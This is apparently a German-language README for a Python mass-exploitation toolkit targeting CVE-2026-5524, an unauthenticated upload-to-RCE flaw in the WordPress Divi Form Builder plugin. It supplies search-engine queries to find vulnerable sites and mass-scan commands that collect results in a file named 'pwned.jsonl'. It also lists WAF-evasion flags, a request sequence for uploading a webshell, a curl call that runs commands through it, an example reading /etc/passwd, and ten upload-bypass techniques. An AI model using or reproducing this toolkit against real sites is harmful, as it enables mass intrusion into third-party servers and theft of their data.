
Python-Mass-Exploit-Toolkit für CVE-2026-5524, eine unauthentifizierte Datei-Upload-RCE im WordPress-Plugin Divi Form Builder, mit Webshell-Upload und Befehlsausführung.
Mass-Exploit-Toolkit für CVE-2026-5524, eine unauthentifizierte Schwachstelle zum beliebigen Datei-Upload im WordPress-Plugin Divi Form Builder <= 5.1.8, die zur Remote-Code-Ausführung führt.
| Feld | Wert |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Kritisch) |
| Vektor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Betroffen | Divi Form Builder <= 5.1.8 |
| Gepatcht | 5.1.9 |
| Typ | Unauthentifizierter Datei-Upload zu RCE |
| Forscher | 0xd4rk5id3 - EnvoraSec |
Das Divi Form Builder Plugin für WordPress enthält eine unauthentifizierte Schwachstelle zum beliebigen Datei-Upload. Der do_image_upload()-Handler übergibt den benutzerkontrollierten POST-Parameter acceptFileTypes direkt an einen regulären Ausdruck, der zur Validierung von Dateiendungen verwendet wird. Durch die Angabe eines Werts wie phtml kann ein Angreifer die .htaccess-Regel des Plugins umgehen, die nur die .php-Endung blockiert, und eine Webshell mit einer PHP-ausführbaren Endung (.phtml, .phar, .php5, .php7 und ähnliche) hochladen.
Sobald die Datei in /wp-content/uploads/de_fb_uploads/ landet, führt Apache sie als PHP aus, was dem Angreifer Remote-Code-Ausführung als Webserver-Benutzer ermöglicht.
Das Problem ist in Divi Form Builder 5.1.9 behoben.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Voraussetzungen: Python 3.8 oder neuer unter Linux, macOS oder WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Für Ziele hinter einer WAF (NinjaFirewall, Wordfence, ModSecurity) oder mit gehärteter Apache- oder nginx-Konfiguration.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
Nach einem erfolgreichen Upload kann das Skript sofort einen Befehl ausführen oder in eine interaktive Shell wechseln.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
| Flag | Beschreibung |
|---|---|
-u URL | Einzelne Ziel-URL |
-l FILE | Datei mit Zielliste, eine URL pro Zeile |
-t N | Anzahl gleichzeitiger Threads (Standard 10) |
--timeout N | Anfrage-Timeout in Sekunden (Standard 15) |
-o FILE | Ergebnisse in JSONL-Ausgabedatei speichern |
--proxy URL | Datenverkehr über HTTP-Proxy leiten |
--nonce HASH | Manuell bereitgestellten Nonce verwenden, Autodetektion überspringen |
--ext EXT | Eine einzelne Endung erzwingen statt der vollständigen Bypass-Liste |
--shell | Bei Erfolg in interaktive RCE-Shell wechseln (nur einzelnes Ziel) |
--cmd CMD | Einen Befehl auf dem Ziel ausführen, dann beenden |
--shell-file FILE | Benutzerdefinierte Shell-Payload hochladen statt der integrierten |
--no-verify | Den RCE-Verifizierungsschritt nach dem Upload überspringen |
--strict-verify | Bestätigen, dass die Shell-URL HTTP 200 zurückgibt, um False Positives zu filtern |
--user-ini | Einen .user.ini-Dropper für PHP-FPM-Umgebungen hochladen |
--htaccess | Einen .htaccess-Re-Enabler für Apache-Umgebungen hochladen |
--aggressive | Alle verfügbaren Bypass-Techniken aktivieren |
--null-byte | Null-Byte- und Doppelendungs-Versuche einschließen |
--path-traversal | Versuchen, in /uploads/YYYY/MM/-Unterverzeichnisse hochzuladen |
--debug | Rohe HTTP-Antworten zur Diagnose ausgeben |
Der verwundbare Handler konstruiert einen regulären Ausdruck aus Benutzereingaben ohne Bereinigung.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
Durch Senden von acceptFileTypes=phtml matcht der resultierende reguläre Ausdruck /\.(phtml)$/i Dateinamen, die auf .phtml enden, obwohl die .htaccess-Datei des Plugins selbst nur die .php-Endung blockiert. Apache führt die hochgeladene Datei dann als PHP aus, was Remote-Code-Ausführung ermöglicht.
Eine Seite crawlen, die ein Divi Form Builder-Formular einbettet (/, /contact, /quote, usw.). Einen ?nocache=<random>-Parameter anhängen, um Varnish, WP Rocket und andere Seiten-Caches zu umgehen, die andernfalls einen veralteten Nonce ausliefern würden.
Den fb_nonce-Wert aus dem lokalisierten JavaScript-Objekt extrahieren:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
Ein Multipart-Formular an /wp-admin/admin-ajax.php senden mit:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Die Datei-URL aus der JSON-Antwort auslesen:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Die Shell mit einem base64-kodierten Befehl aufrufen:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
| # | Technik | Ziele |
|---|---|---|
| 1 | Alternative PHP-Endungen .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Plugin-.htaccess-Regel, die nur .php blockiert |
| 2 | Groß-/Kleinschreibung variieren .PHTML, .PHP5, .PhTmL | Groß-/Kleinschreibung-sensitive WAF-Signaturen (NinjaFirewall) |
| 3 | Doppelendung .phtml.jpg, .php.jpg | Apache mod_mime Content-Negotiation-Eigenheiten |
| 4 | Null-Byte .php%00.jpg, .phtml%00.txt | Alte PHP-Versionen (kleiner als 5.3.4) und bestimmte Parser |
| 5 | Nachgestelltes Leerzeichen oder Punkt .php , .php. | Windows IIS und ältere Apache-Versionen |
| 6 | Content-Type-Spoofing application/octet-stream | WAFs, die auf den Multipart-Content-Type-Header reagieren |
| 7 | Eine echte .htaccess hochladen, die PHP für .gif, .png, .jpg, .txt, .html usw. wieder aktiviert | Apache-Server mit AllowOverride All |
| 8 | Eine .user.ini mit auto_prepend_file hochladen | PHP-FPM-Umgebungen |
| 9 | Dateinamen-Injektion durch Multipart-Boundary-Manipulation | Proxies und WAFs, die den Request-Body neu parsen |
| 10 | Path Traversal ../shell.phtml im Dateinamen | Plugin-Verzeichnisbeschränkungen |